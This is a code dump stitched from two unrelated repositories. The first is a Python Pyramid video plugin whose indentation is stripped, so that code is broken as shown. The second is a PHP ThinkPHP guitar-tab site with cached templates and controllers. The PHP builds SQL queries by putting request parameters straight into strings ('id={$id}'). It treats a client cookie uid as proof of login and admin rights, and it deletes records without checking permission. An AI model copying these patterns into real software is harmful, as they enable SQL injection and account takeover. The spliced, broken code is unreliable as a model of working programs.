from arche.utils import generate_slug
from arche.views.base import BaseView
from arche.views.base import DefaultAddForm
from pyramid.httpexceptions import HTTPFound
from arche_video.fanstatic_lib import (mediaelementplayer_css,
mediaelement_and_player,
mejs_skins)
from arche_video.events import NewVideo
class MediaPlayerView(BaseView):
def __call__(self):
mediaelementplayer_css.need()
mediaelement_and_player.need()
return {}
class AddVideoFolderForm(DefaultAddForm):
type_name = "VideoFolder"
def save_success(self, appstruct):
self.flash_messages.add(self.default_success, type="success")
initial_video_data = appstruct.pop('initial_video_data')
file_appstruct = {'file_data': initial_video_data}
file_fact = self.get_content_factory('File')
file_obj = file_fact(**file_appstruct)
#Construct video folder
factory = self.get_content_factory(self.type_name)
obj = factory(**appstruct)
name = generate_slug(self.context, obj.title)
self.context[name] = obj
#Add initial video file
file_name = generate_slug(obj, file_obj.filename)
obj[file_name] = file_obj
event = NewVideo(file_obj)
self.request.registry.notify(event)
return HTTPFound(location = self.request.resource_url(obj))
def includeme(config):
config.add_view(MediaPlayerView,
name = '__media_player__',
context = 'arche.interfaces.IFile',
permission = security.PERM_VIEW,
renderer = 'arche_video:templates/video.pt')
config.add_mimetype_view('video/*', '__media_player__')
def include_video_folder(config):
config.add_view(AddVideoFolderForm,
context = 'arche.interfaces.IContent',
name = 'add',
request_param = "content_type=VideoFolder",
permission = security.NO_PERMISSION_REQUIRED, #perm check in add
renderer = 'arche:templates/form.pt')
config.add_view(MediaPlayerView,
name = 'view',
context = 'arche_video.models.VideoFolder', #FIXME
permission = security.PERM_VIEW,
renderer = 'arche_video:templates/video_folder.pt')
<file_sep>/arche_video/schemas.py
import colander
import deform
from arche.schemas import BaseSchema
from arche.schemas import DCMetadataSchema
from arche.validators import supported_thumbnail_mimetype
from arche.widgets import FileAttachmentWidget
from arche_video import _
class EditVideoFolderSchema(BaseSchema, DCMetadataSchema):
image_data = colander.SchemaNode(deform.FileData(),
missing = None,
title = _(u"Image"),
blob_key = 'image',
validator = supported_thumbnail_mimetype,
widget = FileAttachmentWidget())
class AddVideoFolderSchema(EditVideoFolderSchema):
initial_video_data = colander.SchemaNode(deform.FileData(),
title = _(u"Initial video file"),
widget = FileAttachmentWidget())
def includeme(config):
config.add_content_schema('VideoFolder', AddVideoFolderSchema, 'add')
config.add_content_schema('VideoFolder', EditVideoFolderSchema, 'edit')
<file_sep>/arche_video/__init__.py
from pyramid.i18n import TranslationStringFactory
_ = TranslationStringFactory('arche_video')
def includeme(config):
config.include('.views')
def video_folder(config):
config.include('.views.include_video_folder')
config.include('.models')
config.include('.schemas')
| d2036e40ee44ae017f04fe8107737c4d1205df97 | [
"Python",
"reStructuredText"
] | 8 | Python | ArcheProject/arche_video | ee7b375937b1a26d3a1abd9cef1c446fc4e4298d | 85bcafbe440eee5315c4cb8151dece2a10fc486d |
refs/heads/master | <repo_name>bangoi/gtp<file_sep>/Application/Runtime/Cache/Home/455a6242d1c94ccc41106a388080363b.php
<?php if (!defined('THINK_PATH')) exit();?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> -->
<?php if(!empty($title)): ?><title><?php echo ($title); ?>|Guitar Pro</title>
<?php else: ?>
<title>Guitar Pro</title><?php endif; ?>
<meta name="keywords" content="吉他谱,吉他,吉他视频,GTP,Guitar Pro,吉他谱下载" />
<?php if(!empty($description)): ?><meta name="description" content="<?php echo ($description); ?>,收藏自阿谱小站." />
<?php else: ?>
<meta name="description" content="Guitar-pro,收集分享Guitar-pro吉他谱,吉他视频,为吉他爱好者打造网上资源互动社区." /><?php endif; ?>
<link rel="alternate" type="application/rss+xml" title="阿谱小站" href="http://localhost:9990/gtp/feed" />
<link rel="shortcut icon" href="http://localhost:9990/gtp/favicon.ico" type="image/x-icon" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/concision.css" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/prettify.css" />
<script type="text/javascript" src="http://localhost:9990/gtp/js/jquery-2.1.3.min.js"></script>
<script type="text/javascript" src="http://localhost:9990/gtp/js/guitar.js"></script>
</head>
<body>
<div class="header">
<div class="header-wrap wp cf">
<h3 class="logo"><a href="http://localhost:9990/gtp" title="返回首页">Guitar Pro</a></h3>
<ul class="navg">
<li class="title <?php if(($channel == 'Home')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp">首页</a></li>
<li class="title <?php if(($channel == 'Gtp')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/gtp/">吉他谱</a></li>
<!--
<li class="title <?php if(($channel == 'Vedio')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/vedio/">吉他视频</a></li>
<li class="title <?php if($channel == "Group" || $channel == "Topic") { ?>selected<?php } ?>"><a class="show" href="http://localhost:9990/gtp/group/">小组</a></li>
<?php if($_logined) { ?>
<li class="title <?php if(($channel == 'user')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/user/<?php echo (getuserdomainbyid($_uid)); ?>">我的空间</a></li>
<?php } ?>
-->
</ul>
<p class="user">
<?php if(!$_logined) { ?>
[<a href="http://localhost:9990/gtp/user/login">登录</a><a href="http://localhost:9990/gtp/user/register">注册</a>]
<?php } else { ?>
[ <?php echo (urldecode($_nick)); ?>
<!--
<a href="http://localhost:9990/gtp/message/" class="mlr0">邮件<?php if($_msgNum > 0) { ?><span id="msg">(<?php echo ($_msgNum); ?>)</span><?php } ?></a>
-->
<a href="http://localhost:9990/gtp/user/settings">设置</a> <a href="http://localhost:9990/gtp/user/logout">退出</a>]
<?php } ?>
</p>
</div>
</div>
<div class="contaier wp cf">
<div class="ident">邮件</div>
<div class="login" style="width: 580px;margin-top: 0px;">
<?php if($type=="mine"){ ?>
<div class="slogan"><p><a href="http://localhost:9990/gtp/message/">收件箱</a> 已发送</p></div>
<?php } else { ?>
<div class="slogan"><p>收件箱 <a href="http://localhost:9990/gtp/message/mine">已发送</a></p></div>
<?php } ?>
<br/>
<div class="tbl">
<?php if(!empty($message_list)) { ?>
<table>
<thead>
<tr>
<td style="width: 380px;">邮件</td>
<td style="width: 128px; text-align: right;">时间</td>
<td style="text-align: right;">操作</td>
</tr>
</thead>
<tbody>
<?php if(is_array($message_list)): foreach($message_list as $key=>$item): ?><tr <?php if($item['state'] == 100 && $_uid != $item['user_id']) { ?>style="background: #c7c7c7;"<?php } ?>>
<td style="width: 380px;">
<?php if($type=="mine"){ ?>
收件人:<?php echo (getusernick($item["to_id"])); ?>
<?php } else { ?>
发件人:<?php echo ($item["nick"]); ?>
<?php } ?>
<br />
<input type="checkbox" name="id[]" />
<a href="http://localhost:9990/gtp/message/<?php echo ($item["id"]); ?>" ><?php echo (msubstr($item["title"], 0, 20,'utf-8', false)); ?></a>
<?php if($item['reply_num'] > 0) { ?>(<?php echo ($item["reply_num"]); ?>)<?php } ?>
</td>
<td class="c6">
<?php echo (totime($item["last_reply_time"])); ?>
</td>
<td style="text-align: right;">
<a onclick="return confirm('删除邮件 ?');" href="http://localhost:9990/gtp/message/operate/<?php echo ($item["id"]); ?>?type=delete">[x]</a>
</td>
</tr><?php endforeach; endif; ?>
</tbody>
</table>
<?php } else { ?>
暂无邮件
<?php } ?>
</div>
<br/>
<br/>
<br class="clear" />
<br/>
<br/>
<br class="clear" />
<br />
</div>
<div class="login-other">
</div>
</div>
<div class="footer">
<div class="wp">
<p class="copy">©ThinkPHP 2012</p>
<p class="navg"><a href="/about/index.html">关于我们</a><a href="/about/donate.html">捐赠我们</a><a href="/update/index.html">更新列表</a><a href="/bug/index.html">BUG反馈</a><a href="/suggest/index.html">功能建议</a><a href="/link/index.html">友情链接</a></p>
<p class="links"><a href="/donate/index.html">捐赠 <?php echo ($is_mobile ? "手机浏览" : "PC浏览"); ?></a><a href="/rss/index.xml">订阅</a><a href="/about/attention.html">关注</a><a href="http://bbs.thinkphp.cn" target="_blank">论坛</a></p>
</div>
</div>
<input type="hidden" name="site" id="site" value="http://localhost:9990/gtp" />
<div style="display:none">
</div>
</body>
</html><file_sep>/Application/Home/Controller/VedioController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
use Think\Exception;
use Think\Page;
use Org\Util\VideoUrlParser;
class VedioController extends BaseController {
public function index() {
$p = I("get.p") ? I("get.p") : 1;
$size = 20;
$order = "add_time desc";
$k = urldecode(I("get.k"));
$artist_name = urldecode(I("get.artist_name"));
$map["state"] = 100;
if(!empty($k)) {
$map["title"] = array('like', "%{$k}%");
$this->assign('k', $k);
$this->assign("title", $k."吉他视频"." 第{$p}页");
} else if(!empty($artist_name)) {
$map["artist_name"] = array('like', "%{$artist_name}%");
$this->assign('artist_name', $artist_name);
$this->assign("title", $artist_name."吉他视频"." 第{$p}页");
} else {
$this->assign("title", "吉他视频"." 第{$p}页");
}
$vedio_list = M("Vedio")->where($map)->order($order)->page($p.",{$size}")->select();
$count = M("Vedio")->where($map)->count();
$Page = new Page($count, $size);
$page = $Page->show();
$this->assign('vedio_list', $vedio_list);
$this->assign('page', $page);
$this->display();
}
public function search() {
$p = I("get.p") ? I("get.p") : 1;
$size = 20;
$k = urldecode(I("get.k"));
$artist_name = urldecode(I("get.artist_name"));
$order = "add_time desc";
$map["state"] = 100;
if(!empty($k)) {
$map["title"] = array('like', "%{$k}%");
$this->assign('k', $k);
$this->assign("title", $k."吉他视频"." 第{$p}页");
}
$vedio_list = M("Vedio")->where($map)->order($order)->page($p.",{$size}")->select();
$count = M("Vedio")->where($map)->count();
$Page = new Page($count, $size);
$page = $Page->show();
$this->assign('vedio_list', $vedio_list);
$this->assign('page', $page);
$this->display("index");
}
public function details() {
$id = I("get.id");
$p = I("get.p") ? I("get.p") : 1;
$size = 25;
$map["id"] = $id;
$map["state"] = 100;
$vedio = M("Vedio")->where($map)->find();
$user = M("User")->where("id={$vedio['user_id']}")->find();
//dump(M("Vedio")->getLastSql());
M("Vedio")->where("id={$id}")->setInc('view_num');
//M("Vedio")->where("id={$id}")->setLazyInc("view_num", 1, 60);
$gtp_map["artist_name"] = $vedio["artist_name"];
$gtp_map["song_title"] = $vedio["song_title"];
$gtp_map["state"] = 100;
$gtp_list = M("Gtp")->where($gtp_map)->order('download_num DESC')->limit(10)->select();
$video_map["id"] = array('neq', $id);
$video_map["artist_name"] = $vedio["artist_name"];
$video_map["state"] = 100;
$vedio_list = M("VedioView") ->where($video_map)->order('view_num DESC')->limit(10)->select();
$comment_map["comment.state"] = 100;
$comment_map["comment.item_type"] = "vedio";
$comment_map["comment.item_id"] = $id;
$comment_list = M("Comment")
->join("user on user.id=comment.user_id")
->field("comment.id, comment.item_type, comment.item_id, comment.parent_id, comment.user_id, comment.content, comment. add_time, user.nick, user.face")
->where($comment_map)->order("add_time")->page($p.",{$size}")->select();
$this->assign("vedio", $vedio);
$this->assign("user", $user);
$this->assign("gtps", $gtp_list);
$this->assign("vedioes", $vedioes);
$this->assign("comment_list", $comment_list);
$this->assign("title", $vedio['title']);
$this->assign("page_title", $vedio['title']);
$this->assign("description", $vedio['title'].",".$vedio['song_title'].",".$vedio['artist_name'].",".'吉他视频');
$this->assign("can_edit", $this->can_edit("vedio", $vedio['id']));
$this->display();
}
public function _before_add() {
if($this->logined != true) {
redirect($this->site_url."/user/login/?action=/vedio/add");
}
}
public function add(){
if(IS_POST) {
try {
$title = I("post.title");
$thumb_value = I("post.thumb_value");
$code = I("post.code");
$artist_name = I("post.artist_name");
$song_title = I("post.song_title");
if(empty($title)) E("必须输入视频标题");
if(empty($thumb_value)) E("必须输入截图地址");
if(empty($code)) E("必须输入视频swf");
if(empty($artist_name)) E("必须输入音乐人");
if(empty($song_title)) E("必须输入歌曲名称");
$vedio = D("Vedio");
if($vedio->create()) {
$vedio->user_id = $this->uid;
$vedio->title = trim($title);
$vedio->thumb = trim($thumb_value);
$vedio->code = trim($code);
$vedio->song_title = trim($song_title);
$vedio->artist_name = trim($artist_name);
$vedio->tags = trim(I("post.tags"));
$vedio->description = trim(I("post.description"));
$id = $vedio->add();
$this->redirect('/vedio/'.$id);
}
}catch(Exception $ex) {
$this->assign("vedio_url", I("post.vedio_url"));
$this->assign("thumb_value", I("post.thumb_value"));
$this->assign("vedio_title", I("post.title"));
$this->assign("thumb", I("post.thumb"));
$this->assign("code", I("post.code"));
$this->assign("artist_name", I("post.artist_name"));
$this->assign("song_title", I("post.song_title"));
$this->assign("tags", I("post.tags"));
$this->assign("description", I("post.description"));
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$this->assign("title", '发布吉他视频');
$this->assign("page_title", '发布吉他视频');
$this->display();
}
}
public function addVedio(){
$vedioUrl = $_REQUEST['vedioUrl'];
//$vedioUrl = 'http://v.youku.com/v_show/id_XNTM0MjM1NDM2.html';
$result['data'] = VideoUrlParser::parse($vedioUrl, false);
echo json_encode($result);
}
public function _before_edit() {
$id = I("get.id");
$url = $this->site_url."/user/login/?action=/vedio/edit/".$id;
if($this->logined != true)
$this->redirect($url);
$map["state"] = 100;
$map["id"] = $id;
$vedio = M('Vedio')->where($map)->find();
if($this->uid != $vedio["user_id"])
$this->redirect($url);
}
public function edit() {
$vedio_id = $_GET["_URL_"][2];
if(IS_POST) {
try {
$title = I("post.title");
$code = I("post.code");
$artist_name = I("post.artist_name");
$song_title = I("post.song_title");
if(empty($title)) E("必须输入视频标题");
if(empty($code)) E("必须输入视频swf");
if(empty($artist_name)) E("必须输入音乐人");
if(empty($song_title)) E("必须输入歌曲名称");
$data["title"] = trim($title);
$data["code"] = trim($code);
$data["artist_name"] = trim($artist_name);
$data["song_title"] = trim($song_title);
$data['thumb'] = trim(I("post.thumb_value"));
$data['tags'] = trim(I("post.tags"));
$data['description'] = trim(I("post.description"));
$id = I("post.id");
M("Vedio")->where("id={$id}")->data($data)->save();
$this->redirect('/vedio/'.$id);
}catch(Exception $ex) {
$this->assign("vedio_title", I("post.title"));
$this->assign("thumb", I("post.thumb"));
$this->assign("code", I("post.code"));
$this->assign("artist_name", I("post.artist_name"));
$this->assign("song_title", I("post.song_title"));
$this->assign("tags", I("post.tags"));
$this->assign("description", I("post.description"));
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$map["state"] = 100;
$map["id"] = I("get.id");
$vedio = M('Vedio')->where($map)->find();
$this->assign('vedio', $vedio);
$this->assign("title", '编辑吉他视频 '.$vedio['title']);
$this->assign("page_title", '编辑吉他视频 '.$vedio['title']);
$this->display();
}
}
}<file_sep>/Application/Runtime/Cache/Home/4d3dc31b55f95e17f0a48e152fc24f2a.php
<?php if (!defined('THINK_PATH')) exit();?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> -->
<?php if(!empty($title)): ?><title><?php echo ($title); ?>|Guitar Pro</title>
<?php else: ?>
<title>Guitar Pro</title><?php endif; ?>
<meta name="keywords" content="吉他谱,吉他,吉他视频,GTP,Guitar Pro,吉他谱下载" />
<?php if(!empty($description)): ?><meta name="description" content="<?php echo ($description); ?>,收藏自阿谱小站." />
<?php else: ?>
<meta name="description" content="Guitar-pro,收集分享Guitar-pro吉他谱,吉他视频,为吉他爱好者打造网上资源互动社区." /><?php endif; ?>
<link rel="alternate" type="application/rss+xml" title="阿谱小站" href="http://localhost:9990/gtp/feed" />
<link rel="shortcut icon" href="http://localhost:9990/gtp/favicon.png" type="image/x-icon" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/concision.css" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/prettify.css" />
<script type="text/javascript" src="http://localhost:9990/gtp/js/jquery-2.1.3.min.js"></script>
<script type="text/javascript" src="http://localhost:9990/gtp/js/guitar.js"></script>
</head>
<body>
<div class="header">
<div class="header-wrap wp cf">
<h3 class="logo"><a href="http://localhost:9990/gtp" title="返回首页">Guitar Pro</a></h3>
<ul class="navg">
<li class="title <?php if(($channel == 'Home')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp">首页</a></li>
<li class="title <?php if(($channel == 'Gtp')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/gtp/">吉他谱</a></li>
<li class="title <?php if(($channel == 'Vedio')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/vedio/">吉他视频</a></li>
<li class="title <?php if($channel == "Group" || $channel == "Topic") { ?>selected<?php } ?>"><a class="show" href="http://localhost:9990/gtp/group/">小组</a></li>
</ul>
<p class="user">
<?php if(!$_logined) { ?>
[<a href="http://localhost:9990/gtp/user/login">登录</a><a href="http://localhost:9990/gtp/user/register">注册</a>]
<?php } else { ?>
[ <?php echo (urldecode($_nick)); ?> <a href="http://localhost:9990/gtp/user/settings">设置</a> <a href="http://localhost:9990/gtp/user/logout">退出</a>]
<?php } ?>
</p>
</div>
</div>
<script type="text/javascript" src="http://localhost:9990/gtp/js/jquery.uploadify.min.js"></script>
<script src="http://localhost:9990/gtp/js/jquery.Jcrop.js"></script>
<script type="text/javascript">
jQuery(function($){
// Create variables (in this scope) to hold the API and image size
var jcrop_api,
boundx,
boundy,
// Grab some information about the preview pane
$preview = $('#preview-pane'),
$pcnt = $('#preview-pane .preview-container'),
$pimg = $('#preview-pane .preview-container img'),
xsize = $pcnt.width(),
ysize = $pcnt.height();
$('#target').Jcrop({
onChange: updatePreview,
onSelect: updatePreview,
setSelect: [ 100, 100, 0, 0 ],
aspectRatio: xsize / ysize
},function(){
// Use the API to get the real image size
var bounds = this.getBounds();
boundx = bounds[0];
boundy = bounds[1];
// Store the API in the jcrop_api variable
jcrop_api = this;
// Move the preview into the jcrop container for css positioning
//$preview.appendTo(jcrop_api.ui.holder);
});
function updatePreview(c)
{
if (parseInt(c.w) > 0)
{
var rx = xsize / c.w;
var ry = ysize / c.h;
$pimg.css({
width: Math.round(rx * boundx) + 'px',
height: Math.round(ry * boundy) + 'px',
marginLeft: '-' + Math.round(rx * c.x) + 'px',
marginTop: '-' + Math.round(ry * c.y) + 'px'
});
$('#x').val(c.x);
$('#y').val(c.y);
$('#w').val(c.w);
$('#h').val(c.h);
}
};
});
</script>
<link rel="stylesheet" href="http://localhost:9990/gtp/css/jquery.Jcrop.css" type="text/css" />
<style type="text/css">
/* Apply these styles only when #preview-pane has
been placed within the Jcrop widget */
.jcrop-holder #preview-pane {
position: absolute;
z-index: 2000;
top: 0px;
right: -86px;
padding: 2px;
border: 1px rgba(0,0,0,.4) solid;
background-color: white;
}
/* The Javascript code will set the aspect ratio of the crop
area based on the size of the thumbnail preview,
specified here */
#preview-pane .preview-container {
width: 50px;
height: 50px;
overflow: hidden;
}
</style>
<div class="contaier wp cf">
<div class="ident">小组头像</div>
<div class="login" style="width: 660px;">
<div class="head">
<strong>1. 添加或更改小组的头像</strong>
<?php if (!empty($err)): ?><span style="color: red"><?php echo ($err); ?></span><?php endif; ?>
<?php if (!empty($notice)): ?><span style="color: #fff;background: green; padding: 3px 10px 3px 10px;"><?php echo ($notice); ?></span><?php endif; ?>
</div>
<div class="body form " style="margin-top: -30px;">
<form action="http://localhost:9990/gtp/group/face" method="post" class="login" enctype="multipart/form-data">
<div style="width: 230px; float: left;">
<img src="http://localhost:9990/gtp/<?php getImgName($group['face'], 'm'); ?>" style="width:200px; height: 200px;" class="jcrop-preview" id="target" alt="Preview" />
</div>
<div style="width: 330px; float: left;">
<span class="c9 f14">从电脑中选择你喜欢的照片:</span>
<br />
<span class="c9 f14">你可以上传JPG、JPEG、GIF、或PNG文件。</span>
<div style="margin-top: 10px;">
<input type="file" name="face" id="faceFile" class="text" />
</div>
<div style="margin-top: 5px;">
<input type="hidden" name="group_id" value="<?php echo ($group["id"]); ?>" />
<input class="submit" type="submit" value="更新头像" /> <a href="http://localhost:9990/gtp/group/edit/<?php echo ($group["id"]); ?>" style="line-height: 30px;">返回</a>
</div>
</div>
</form>
<br class="clear" />
<br/>
<div class="head">
<strong>2. 设置小组的小头像图标</strong>
</div>
<div id="preview-pane" style="margin-top: 15px; float: left;">
<div class="preview-container" >
<img src="http://localhost:9990/gtp/<?php getImgName($group['face'], 'm'); ?>" class="jcrop-preview" alt="Preview" />
</div>
</div>
<div style="margin: 13px; float: left;">
<span class="c9 f16">随意拖拽或缩放大图中的虚线方格,<br/>预览的小图即为保存后的小头像图标。</span>
</div>
<br class="clear" />
<form action="http://localhost:9990/gtp/group/crop" method="post">
<div style="margin-top: 10px;">
<input type="hidden" id="x" name="x" />
<input type="hidden" id="y" name="y" />
<input type="hidden" id="w" name="w" />
<input type="hidden" id="h" name="h" />
<input type="hidden" name="group_id" value="<?php echo ($group["id"]); ?>" />
<input type="submit" class="submit" value="保存小头像设置" /> <a href="http://localhost:9990/gtp/group/edit/<?php echo ($group["id"]); ?>" style="line-height: 30px;">返回</a>
</div>
</form>
</div>
</div>
<div class="login-other" style="width: 230px;padding-left: 20px; min-width: 0px;">
<div class="head">
<strong>使用其他帐号直接登录</strong>
</div>
<div class="body">
<ul class="other-account">
<li><a href="http://localhost:9990/gtp/user/settings">用户信息设置</a></li>
<li><a href="http://localhost:9990/gtp/user/face">用户头像设置</a></li>
</ul>
</div>
</div>
</div>
<div class="footer">
<div class="wp">
<p class="copy">©ThinkPHP 2012</p>
<p class="navg"><a href="/about/index.html">关于我们</a><a href="/about/donate.html">捐赠我们</a><a href="/update/index.html">更新列表</a><a href="/bug/index.html">BUG反馈</a><a href="/suggest/index.html">功能建议</a><a href="/link/index.html">友情链接</a></p>
<p class="links"><a href="/donate/index.html">捐赠 <?php echo ($is_mobile ? "手机浏览" : "PC浏览"); ?></a><a href="/rss/index.xml">订阅</a><a href="/about/attention.html">关注</a><a href="http://bbs.thinkphp.cn" target="_blank">论坛</a></p>
</div>
</div>
<input type="hidden" name="site" id="site" value="http://localhost:9990/gtp" />
<div style="display:none">
</div>
</body>
</html><file_sep>/Application/Home/Model/UserGroupModel.class.php
<?php
namespace Home\Model;
use Think\Model;
class UserGroupModel extends Model {
protected $_auto = array(
array("add_time", "date", 1, "function", array("Y-m-d H:i:s")),
array("state", 100)
);
}
?><file_sep>/Application/Admin/Controller/VedioController.class.php
<?php
namespace Admin\Controller;
use Think\Controller;
use Think\Exception;
use Think\Page;
class VedioController extends BaseController {
public function index() {
$p = I("get.p") ? I("get.p") : 1;
$size = 30;
$items = M("Vedio")->where($map)->order($order)->page($p.",{$size}")->select();
$count = M("Vedio")->where($map)->count();
$Page = new Page($count, $size);
$page = $Page->show();
$this->assign('items', $items);
$this->assign('page', $page);
$this->display();
}
}<file_sep>/Application/Home/Controller/DirtyController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
use Think\Exception;
use Think\Page;
use Think\Upload;
use Think\Image;
use Org\Util\ImageCrop;
class DirtyController extends BaseController {
public function GroupController() {
$this->assign("channel", "group");
}
public function add() {
if(IS_POST) {
try {
$group_id = I("post.group_id");
$dirty = D("Dirty");
if($dirty->create()) {
$dirty->user_id = $this->uid;
$id = $dirty->add();
$this->redirect("/group/topic/".$group_id);
}
} catch (Exception $ex) {
$this->error($ex->getMessage());
}
}
}
public function delete() {
$id = I("get.id");
$group_id = I("get.group_id");
M("Dirty")->where("id=$id")->delete();
$this->redirect("/group/topic/".$group_id);
}
}<file_sep>/Application/Admin/Controller/BaseController.class.php
<?php
namespace Admin\Controller;
use Think\Controller;
use Think\Exception;
header('Content-Type: text/html; charset=utf-8');
class BaseController extends Controller {
protected $uid;
protected $logined;
protected $prefix = "gtp_";
protected $cookie_expire = 360000;
protected $cookie_parm;
protected $site_url;
public function _initialize() {
$this->cookie_parm = array(
'expire' => $this->cookie_expire,
'prefix' => $this->prefix
);
$this->uid = cookie($this->prefix."uid");
if(!empty($this->uid)) {
$this->logined = true;
$this->assign("_logined", true);
$this->assign("_uid", cookie($this->prefix."uid"));
$this->assign("_tel", cookie($this->prefix."tel"));
} else {
$this->logined = false;
$this->assign("_logined", false);
}
$this->site_url = C('TMPL_PARSE_STRING.__SITE__');
}
protected function permission_verifying() {
if(!$this->logined) {
$this->redirect("admin/user/login");
} else {
$user_id = $this->uid;
$user = M("User")->where("id={$user_id}")->find();
if($user["state"] != 100 || $user["role"] != "admin")
redirect(C("TMPL_PARSE_STRING.__SITE__")."/admin/user/login");
}
}
protected function is_admin() {
$is_verified = true;
if(!$this->logined) {
$is_verified = false;
echo "not logined";
} else {
$user_id = $this->uid;
$user = M("User")->where("id={$user_id}")->find();
if($user["state"] != 100 || $user["role"] != "admin") {
echo "not 100 or is not admin";
$is_verified = false;
}
}
return $is_verified;
}
}
?><file_sep>/Application/Runtime/Cache/Home/2a94b8bda04ff446dcedd42276fc99ee.php
<?php if (!defined('THINK_PATH')) exit();?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> -->
<?php if(!empty($title)): ?><title><?php echo ($title); ?>|Guitar Pro</title>
<?php else: ?>
<title>Guitar Pro</title><?php endif; ?>
<meta name="keywords" content="吉他谱,吉他,吉他视频,GTP,Guitar Pro,吉他谱下载" />
<?php if(!empty($description)): ?><meta name="description" content="<?php echo ($description); ?>,收藏自Guitar-Pro.cn." />
<?php else: ?>
<meta name="description" content="Guitar-pro,收集分享Guitar-pro吉他谱,吉他视频,为吉他爱好者打造网上资源互动社区." /><?php endif; ?>
<link rel="alternate" type="application/rss+xml" title="阿谱小站" href="http://localhost:9990/gtp/feed" />
<link rel="shortcut icon" href="http://localhost:9990/gtp/favicon.ico" type="image/x-icon" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/concision.css" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/prettify.css" />
<script type="text/javascript" src="http://localhost:9990/gtp/js/jquery-2.1.3.min.js"></script>
<script type="text/javascript" src="http://localhost:9990/gtp/js/guitar.js"></script>
</head>
<body>
<div class="header">
<div class="header-wrap wp cf">
<h3 class="logo"><a href="http://localhost:9990/gtp" title="返回首页">Guitar Pro</a></h3>
<ul class="navg">
<li class="title <?php if((CONTROLLER_NAME == 'Index')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp">首页</a></li>
<li class="title <?php if((CONTROLLER_NAME == 'Gtp')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/gtp/">吉他谱</a></li>
<li class="title <?php if(($channel == 'Vedio')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/vedio/">吉他视频</a></li>
<!--
<li class="title <?php if($channel == "Group" || $channel == "Topic") { ?>selected<?php } ?>"><a class="show" href="http://localhost:9990/gtp/group/">小组</a></li>
<?php if($_logined) { ?>
<li class="title <?php if(($channel == 'user')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/user/<?php echo (getuserdomainbyid($_uid)); ?>">我的空间</a></li>
<?php } ?>
-->
</ul>
<p class="user">
<?php if(!$_logined) { ?>
[<a href="http://localhost:9990/gtp/user/login">登录</a><a href="http://localhost:9990/gtp/user/register">注册</a>]
<?php } else { ?>
[ <?php echo (urldecode($_nick)); ?>
<!--
<a href="http://localhost:9990/gtp/message/" class="mlr0">邮件<?php if($_msgNum > 0) { ?><span id="msg">(<?php echo ($_msgNum); ?>)</span><?php } ?></a>
-->
<a href="http://localhost:9990/gtp/user/settings">设置</a> <a href="http://localhost:9990/gtp/user/logout">退出</a>]
<?php } ?>
</p>
</div>
</div>
<div class="contaier wp">
<div class="channel-left">
<div class="search cf">
<form action="http://localhost:9990/gtp/<?php echo get_channel($channel); ?>search" method="get">
<input class="text" type="text" name="k" value="<?php echo ($k); ?>" placeholder="输入关键字..." value="" />
<input class="submit" type="submit" value="搜索" />
</form>
</div>
<div class="ident">首页</div>
<div class="slogan"><a class="post" href="http://localhost:9990/gtp/gtp/add">发布吉他谱</a><p>吉他谱 <A href="http://localhost:9990/gtp/gtp/?p=2">More</A></p></div>
<div class="cate">
<ul class="item">
<?php if(is_array($gtp_list)): foreach($gtp_list as $key=>$gtp): ?><li>
<div class="left">
</div>
<div class="middle">
<span class="title"> <a href="http://localhost:9990/gtp/gtp/<?php echo ($gtp["id"]); ?>"><?php echo ($gtp["song_title"]); ?></a></span>
<span class="author"> <a href="http://localhost:9990/gtp/gtp/?artist_name=<?php echo (urlencode($gtp["artist_name"])); ?>"><?php echo ($gtp["artist_name"]); ?></a></span>
</div>
<div class="right">
<span class="date"><?php echo (firendlytime($gtp["add_time"])); ?></span>
</div>
</li><?php endforeach; endif; ?>
</ul>
</div>
<!--
<div class="slogan"><a class="post" href="http://localhost:9990/gtp/vedio/add">发布吉他视频</a><p>吉他视频 <A href="http://localhost:9990/gtp/vedio/?p=2">More</A></p></div>
<div class="cate">
<ul class="item">
<?php if(is_array($vedio_list)): foreach($vedio_list as $key=>$vedio): ?><li>
<div class="left">
<span class="sort"></span>
</div>
<div class="middle">
<span class="title"> <a href="http://localhost:9990/gtp/vedio/<?php echo ($vedio["id"]); ?>"><?php echo ($vedio["title"]); ?></a></span>
